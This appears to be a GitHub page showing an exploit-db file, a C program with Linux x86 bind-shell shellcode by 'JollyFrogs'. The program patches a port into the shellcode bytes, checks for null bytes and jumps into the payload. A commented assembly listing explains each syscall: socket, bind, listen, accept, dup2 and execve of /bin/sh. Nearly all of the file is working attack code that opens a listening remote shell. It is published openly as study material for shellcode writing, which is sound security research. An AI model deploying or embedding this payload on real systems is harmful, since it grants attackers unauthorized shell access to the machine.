forked from offensive-security/exploitdb
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy path39815.c
More file actions
192 lines (161 loc) · 8.03 KB
/
Copy path39815.c
File metadata and controls
192 lines (161 loc) · 8.03 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
/*===================================================================*/
/*
Filename: bindshell.c
Author: JollyFrogs (LookoutFrog@gmail.com)
License: This work is licensed under a Creative Commons
Attribution-NonCommercial 4.0 International License.
Compile:
gcc -m32 -fno-stack-protector -z execstack bindshell.c -o bindshell
*/
#include <stdio.h>
#include <string.h>
#include <stdbool.h>
unsigned char shellcode[] = \
"\x31\xc0\x50\x40\x50\x5b\x50\x40\x50\xb0\x66\x89\xe1\xcd\x80\x97"
"\x5b\x58\x66\xb8\x15\xb3\x66\x50\x66\x53\x89\xe1\x31\xc0\xb0\x10"
"\x50\x51\x57\xb0\x66\x89\xe1\xcd\x80\x50\x57\xb0\x66\x43\x43\x89"
"\xe1\xcd\x80\xb0\x66\x43\xcd\x80\x93\x87\xcf\x49\xb0\x3f\xcd\x80"
"\x75\xf9\x50\x59\x50\x5a\x50\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x87\xe3\xcd\x80";
static bool shellcode_zerocheck() {
// initialize counter
int i = 0;
// check each byte in shellcode array for hexidecimal zero value, return false if zero found
for(i = 0; i < sizeof(shellcode)-1; i++) {if (shellcode[i] == '\x00') return false;}
// Return true if no zeroes found
return true;
}
static bool shellcode_setport(char *buf, int port) {
// Check if decimal port is valid
if (port<1024 || port>65535) return false;
// The offset of the port is 21, but reduce by 1 since the array counts from 0
int shellcode_port_offset = 20; // (\x15\xb3)
// convert decimal port to hexidecimal
*(short *)(buf+shellcode_port_offset) = port; // (\x15\xb3) - shellcode array counts from 0
// Swap port bytes to accomodate for Little Endian memory structure
char tmp = buf[shellcode_port_offset];
buf[shellcode_port_offset] = buf[shellcode_port_offset+1];
buf[shellcode_port_offset+1] = tmp;
// Check if the hexidecimal port contains zeroes, if it does then show an error
if (shellcode[20] == '\x00' || shellcode[21] == '\x00') {
printf("port HEX contains zeroes\n"); return false;
}
// Return true if all checks passed
return true;
}
main () {
// Port in decimal - should be higher than 1024 and lower than 65536
int port = 1234;
// Basic error checking
if (!shellcode_setport(shellcode, port)) {printf("ERROR: Invalid port\n");return 0;}
if (!shellcode_zerocheck()) {printf("ERROR: Shellcode contains zeroes\n");return 0;}
// Print shellcode length.
printf("Shellcode Length: %d\n", strlen(shellcode));
// Run assembly commands
__asm__ (
// Initialize registers
"movl $0x12345678, %eax\n\t"
"movl $0x12345678, %ebx\n\t"
"movl $0x12345678, %ecx\n\t"
"movl $0x12345678, %edx\n\t"
"movl $0x12345678, %edi\n\t"
"movl $0x12345678, %esi\n\t"
"movl $0x12345678, %ebp\n\t"
// execute shellcode
"jmp shellcode");
}
/* Assembly source of shellcode:
global _start
section .text
_start:
; parameters for SOCKET(2) are placed on the stack in reverse order
; SOCKET(2) Synopsis: int socket(int domain, int type, int protocol);
; Before instruction "int 0x80" the stack should look like:
; 02 00 00 00 01 00 00 00 00 00 00 00
; ^AF_INET ^S_STREAM ^TCP
xor eax, eax ; EAX = 00000000
push eax ; PUSH 00000000 (TCP)
inc eax ; EAX = 00000001
push eax ; PUSH 00000001 (SOCK_STREAM)
pop ebx ; EBX = 00000001 (SOCKETCALL.SOCKET)
push eax ; PUSH 00000001 (SOCK_STREAM)
inc eax ; EAX = 00000002
push eax ; PUSH 00000002 (AF_INET)
; invoke socketcall to create the socket
mov al, 0x66 ; EAX = 00000066 (SOCKETCALL)
mov ecx, esp ; ECX = points to top of stack (0xBFFFF3E4)
int 0x80 ; SYSCALL SOCKETCALL(2)-SOCKET(2)
xchg edi, eax ; store fd in edi
; parameters for BIND(2) are placed on the stack in reverse order
; BIND(2) Synopsis: int bind(int sockfd, const struct sockaddr *addr,socklen_t addrlen);
; Before instruction "int 0x80" the stack should look like:
; 07 00 00 00 xx xx xx xx 10 00 00 00 02 00 b3 15 00 00 00 00
; ^FD ^ ^structlen ^AFNT ^port ^in_addr
; | PTR to ---------------^
pop ebx ; EBX = 00000002 (SOCKETCALL.BIND)
pop eax ; EAX = 00000001
; Note: Stack = 00000000
mov ax, 0xB315 ; EAX = 0000B315 (5555 reversed)
push ax ; PUSH B315 (sockaddr_2)
push bx ; PUSH 0002 (sockaddr_3)
mov ecx, esp ; ECX = ESP (0xBFFFF3E8)
xor eax, eax ; EAX = 00000000
mov al, 0x10 ; EAX = 00000010
push eax ; PUSH 00000010 (len(sockaddr))
push ecx ; PUSH (*ADDR) (ptr to sockaddr)
push edi ; push (FD) (SOCKFD)
; invoke socketcall to bind the socket to IP and port
mov al, 0x66 ; EAX = 00000066 (SOCKETCALL)
mov ecx, esp ; ECX = points to top of stack (0xBFFFF3DC)
int 0x80 ; SYSCALL SOCKETCALL(2)-BIND(2)
; parameters for LISTEN(2) are placed on the stack in reverse order
; LISTEN(2) Synopsis: listen(int sockfd, int backlog)
; Before instruction "int 0x80" the stack should look like:
; 07 00 00 00 00 00 00 00
; ^FD ^Backlog = 0
; Note that EAX = 00000000 due to return code from SOCKETCALL above
push eax ; PUSH 00000000 (Backlog)
push edi ; PUSH (FD) (SOCKFD)
; invoke socketcall to set the socket in listen mode
mov al, 0x66 ; EAX = 00000066 (SOCKETCALL)
inc ebx ; EBX = 00000003
inc ebx ; EBX = 00000004 (SOCKETCALL.LISTEN)
mov ecx, esp ; ECX = points to top of stack (0xBFFFF3D4)
int 0x80 ; SYSCALL SOCKETCALL(2)-LISTEN(2)
; Note: The selected port is opened on the system and listening
; parameters for ACCEPT(2) are placed on the stack in reverse order
; ACCEPT(2) Synopsis: int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
; Before instruction "int 0x80" the stack should look like:
; 07 00 00 00 00 00 00 00 00 00 00 00
; Note that EAX is set to 0 upon successful execution of SOCKETCALL.LISTEN
; Note that stack at 0xBFFFF3D4 already contains what I need:
; 07 00 00 00 00 00 00 00 00 00 00 00
; invoke socketcall to set the socket to accept connections
mov al, 0x66 ; EAX = 00000066 (SOCKETCALL)
inc ebx ; EBX = 00000005 (SOCKETCALL.ACCEPT)
int 0x80 ; SYSCALL SOCKETCALL(2)-ACCEPT(2)
; use syscal DUP2(2) to copy the stdin(0), stdout(1) and stderr(2)
; DUP2(2) Synopsis: int dup2(int oldfd, int newfd);
xchg eax, ebx ; EBX = CFD, EAX = 00000005
xchg ecx, edi ; ECX = 00000007
; XCHG ECX, EDI saves us having to zero out ecx and then MOV 3
redirect:
dec ecx ; ECX = 00000002 (eventually)
mov al, 0x3f ; DUP2(2) (3 times - ECX=2, ECX=1, ECX=0)
int 0x80 ; SYSCALL DUP2(2) (ECX=2, ECX=1, ECX=0)
jnz redirect ;
; spawn /bin/sh shell
; Note that EAX is set to 00000000 upon last succesful execution of DUP2
push eax ; PUSH 00000000 (NULL byte)
pop ecx ; ECX = 00000000 (EXECVE ARGV)
push eax ; PUSH 00000000 (NULL byte)
pop edx ; EDX = 00000000 (EXECVE ENVP)
; push '/bin//sh, 0' on stack
push eax ; PUSH 00000000 (NULL byte)
mov al, 0xb ; EXECVE(2)
push 0x68732f2f ; "//sh"
push 0x6e69622f ; "/bin"
xchg esp, ebx ; Save a byte by sacrificing unneeded ESP
int 0x80 ; Start /bin/sh in the client socket FD
*/
/*===================================================================*/